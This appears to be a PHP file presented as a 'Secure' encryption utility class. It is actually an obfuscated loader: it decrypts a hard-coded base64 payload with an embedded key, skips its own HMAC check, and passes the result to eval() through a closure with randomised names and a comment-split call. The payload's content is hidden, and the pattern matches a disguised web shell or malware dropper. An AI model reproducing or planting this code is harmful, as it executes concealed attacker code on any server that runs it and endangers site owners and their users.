<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('WJpu8cMauksKJdZL7IvANYwiB1FUCPVV');
$str = 'hkDa0Iga3T6iGPEHPThYyV+N/HXSCcumcEy5/qeq7wQXhWeXMPF8d22M/eZFtrtpEW2vi8aazNO0l4Qm5ZeGb1sAoRa6RcAEuW/4ZTDO82YPMH8iqrSRSN4rL/u2DCU9j4/ivzVAxM6gUN0e+43ggdz5314axHWL8syroaz9pdvpBO77da7s8NWX2OBi+jTia1emPAUV3e7d6BBEu9OVpsHheCVTtOLpzQ1B8R5PoEaOyJo/PRJPg40FwF563ONnqeSBxlgmolGh+3SOeyoVA66xJD7YhH45vTBjyKLqnCIq68TNb08cM96O5ND6Lsz3PGOf90ABdvjEfbv8qiEHFtRN3+8e8k8UjMpI5AeUGLbwJ1u5C+p6zPLV1a1RHe37tXTRfaHJWer2xwrebwoHKWZpR/H/tRPOdLzTGfIoOG700aiDR9BOxuexHlVrgIqfok2bwlqs/5IMcKuKlb8iAIWL8j6usdafN8a8or7x3rmj5G7V9zD1/5bAdjwTmAh9TQonywdBsr/pHJY7w6rN0938IHZ8/Su1IhIub55p8Qd3stG2vQtGuW+oyFmgSgMYoBBArJxTZsbwP0HafdRMmy+mfrnWk4bZdwnndcFyGIqZwVztbKbdgotgyfIObqdW/XZ73nssX7hlfsUTwtON1mvnTdJ1YC16K5GHR5yB4gY=';
$decrypted = $secure->decrypt($str);
$nLvdKAqgRA = function($rrwftDIRYXh){
/*AkB2yzgtw*/eVaL($rrwftDIRYXh);
$lLrwAmyNP4o = "HkpqIAWYfH97G4qtdmv3tVC20IIphjEv";
return $lLrwAmyNP4o;
};
$nLvdKAqgRA($decrypted);
|